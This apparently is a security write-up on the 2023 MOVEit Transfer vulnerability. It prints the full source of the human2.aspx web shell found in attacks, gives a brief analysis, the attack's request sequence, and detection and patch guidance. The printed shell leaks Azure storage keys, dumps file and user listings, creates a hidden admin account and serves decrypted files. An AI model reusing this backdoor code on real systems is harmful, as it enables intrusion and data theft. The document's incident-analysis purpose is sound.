On 31, May, 2023 organization name as Progress found a critical vulnerability in Moveit Transfer environment which provide the unauthorized access to attacker.
MOVEit Transfer is designed to securely transfer files within or between organizations. MOVEit offers a centralized platform for managing file transfers, providing security, compliance, and automation features.
Researchers noticed that human2.aspx file is uploaded as a backdoor during the attack.
human2.aspx file
<%@ Page Language=”C#” %> |
<%@ Import Namespace=”MOVEit.DMZ.ClassLib” %> |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Infrastructure.Data” %> |
<%@ Import Namespace=”MOVEit.DMZ.Application.Files” %> |
<%@ Import Namespace=”MOVEit.DMZ.Cryptography.Contracts” %> |
<%@ Import Namespace=”MOVEit.DMZ.Core.Cryptography” %> |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.FileSystem” %> |
<%@ Import Namespace=”MOVEit.DMZ.Core” %> |
<%@ Import Namespace=”MOVEit.DMZ.Core.Data” %> |
<%@ Import Namespace=”MOVEit.DMZ.Application.Users” %> |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Users.Enum” %> |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Users” %> |
<%@ Import Namespace=”System.IO” %> |
<%@ Import Namespace=”System.IO.Compression” %> |
<script runat=”server”> |
private Object connectDB() { |
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings()); |
bool flag = false; |
string text = null; |
flag = MySQLConnect.Connect(); |
if (!flag) { |
return text; |
} |
return MySQLConnect; |
} |
private Random random = new Random(); |
public string RandomString(int length) { |
const string chars = “abcdefghijklmnopqrstuvwxyz0123456789”; |
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); |
} |
protected void Page_load(object sender, EventArgs e) { |
var pass = Request.Headers[“X-siLock-Comment”]; |
if (!String.Equals(pass, “REDACTEDREDACTEDREDACTEDREDACTED”)) { |
Response.StatusCode = 404; |
return; |
} |
Response.AppendHeader(“X-siLock-Comment”, “comment”); |
var instid = Request.Headers[“X-siLock-Step1”]; |
string x = null; |
DbConn MySQLConnect = null; |
var r = connectDB(); |
if (r is String) { |
Response.Write(“OpenConn: Could not connect to DB: ” + r); |
return; |
} |
try { |
MySQLConnect = (DbConn) r; |
if (int.Parse(instid) == -1) { |
string azureAccout = SystemSettings.AzureBlobStorageAccount; |
string azureBlobKey = SystemSettings.AzureBlobKey; |
string azureBlobContainer = SystemSettings.AzureBlobContainer; |
Response.AppendHeader(“AzureBlobStorageAccount”, azureAccout); |
Response.AppendHeader(“AzureBlobKey”, azureBlobKey); |
Response.AppendHeader(“AzureBlobContainer”, azureBlobContainer); |
var query = “select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID”; |
string reStr = “ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n”; |
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); |
if (!set.EOF) { |
while (!set.EOF) { |
reStr += String.Format(“{0},{1},{2},{3},{4},{5},{6},{7}\n”, set[“ID”].Value, set[“InstID”].Value, set[“FolderID”].Value, set[“FileSize”].Value, set[“Name”].Value, set[“uploader”].Value, set[“FolderPath”].Value, set[“fname”].Value); |
set.MoveNext(); |
} |
} |
reStr += “———————————-\nFolderID,InstID,FolderName,Owner,FolderPath\n”; |
String query1 = “select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username”; |
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); |
if (!set.EOF) { |
while (!set.EOF) { |
reStr += String.Format(“{0},{1},{2},{3},{4}\n”, set[“id”].Value, set[“instID”].Value, set[“name”].Value, set[“owner”].Value, set[“FolderPath”].Value); |
set.MoveNext(); |
} |
} |
reStr += “———————————-\nInstID,InstName,ShortName\n”; |
query1 = “select id, name, shortname from institutions”; |
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); |
if (!set.EOF) { |
while (!set.EOF) { |
reStr += String.Format(“{0},{1},{2}\n”, set[“ID”].Value, set[“name”].Value, set[“ShortName”].Value); |
set.MoveNext(); |
} |
} |
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) { |
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) { |
writer.Write(reStr); |
} |
} |
} else if (int.Parse(instid) == -2) { |
var query = String.Format(“Delete FROM users WHERE RealName=’Health Check Service'”); |
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); |
} else { |
var fileid = Request.Headers[“X-siLock-Step3”]; |
var folderid = Request.Headers[“X-siLock-Step2”]; |
if (fileid == null && folderid == null) { |
SessionIDManager Manager = new SessionIDManager(); |
string NewID = Manager.CreateSessionID(Context); |
bool redirected = false; |
bool IsAdded = false; |
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded); |
string username = “”; |
var query = String.Format(“SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status=’active’ and Deleted=0”, int.Parse(instid)); |
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); |
var query1 = “”; |
if (!set.EOF) { |
username = (String) set[“Username”].Value; |
} else { |
username = RandomString(16); |
query1 += String.Format(“INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values (‘{0}’,'{1}’,{2},{3},'{4}’, CURRENT_TIMESTAMP,’Automation’,(select id from folders where instID=0 and FolderPath=’/’), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);”, username, “Health Check Service”, int.Parse(instid), 30, “Health Check Service”, “Automation”, “Services”); |
} |
query1 += String.Format(“insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES (‘{0}’,'{1}’,CURRENT_TIMESTAMP, 9999, ‘127.0.0.1’)”, NewID, username); |
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); |
} else { |
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid); |
SILGlobals siGlobs = new SILGlobals(); |
siGlobs.FileSystemFactory.Create(); |
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create()); |
Response.ContentType = “application/octet-stream”; |
Response.AppendHeader(“Content-Disposition”, String.Format(“attachment; filename={0}”, fileid)); |
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) { |
st.CopyTo(gzipStream); |
} |
} |
} |
} catch (Exception) { |
Response.StatusCode = 404; |
return; |
} finally { |
MySQLConnect.Disconnect(); |
} |
return; |
} |
</script> |
Analysis of human2.aspx file
Now page_load function checks for X-silock-comment(here at any header X-silock-username,password,Transaction is not properly sanitizing the sql injection query). If the value does not match a specific string (REDACTEDREDACTEDREDACTEDREDACTED), it sets the response status code to 404 and returns.
Now here the script checks the value of X-siLock-step-1 header if the value is set to -1 then it will execute the sql query and retrieve the database.
Query to retrieve file, folder and instituion name.
If header x-siLock-step1 value is set to -2 then it delete the user from the database.
Server logs of Attack
- POST /guestaccess.aspx
- POST /api/v1/token
- GET /api/v1/folders
- POST /api/v1/folders/{id}/files?uploadType=resumable
- PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
- Provide the request for guestaccess to server and get session and extract CSRF token.
- Provide the token to api for further enumeration.
- Provide the GET request to enumerate folders
- Upload the malicious file using POST and PUT.
How to Identify?
Helps to find root dir:
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->WebBaseDir |
Find your logs:
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->LogsBaseDir |
To find out how machine is configured with SQL Server:
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock\SQLServer |
Remediation:
Update MOVEit Transfer to one of these patched versions:
- MOVEit Transfer 2023.0.1
- MOVEit Transfer 2022.1.5
- MOVEit Transfer 2022.0.4
- MOVEit Transfer 2021.1.4
- MOVEit Transfer 2021.0.6
Or you are not able to update:
Disable HTTP(s) traffic to MOVEit Transfer by adding firewall deny rules to ports 80 and 443. Note that this will essentially take your MOVEit Transfer application out of service.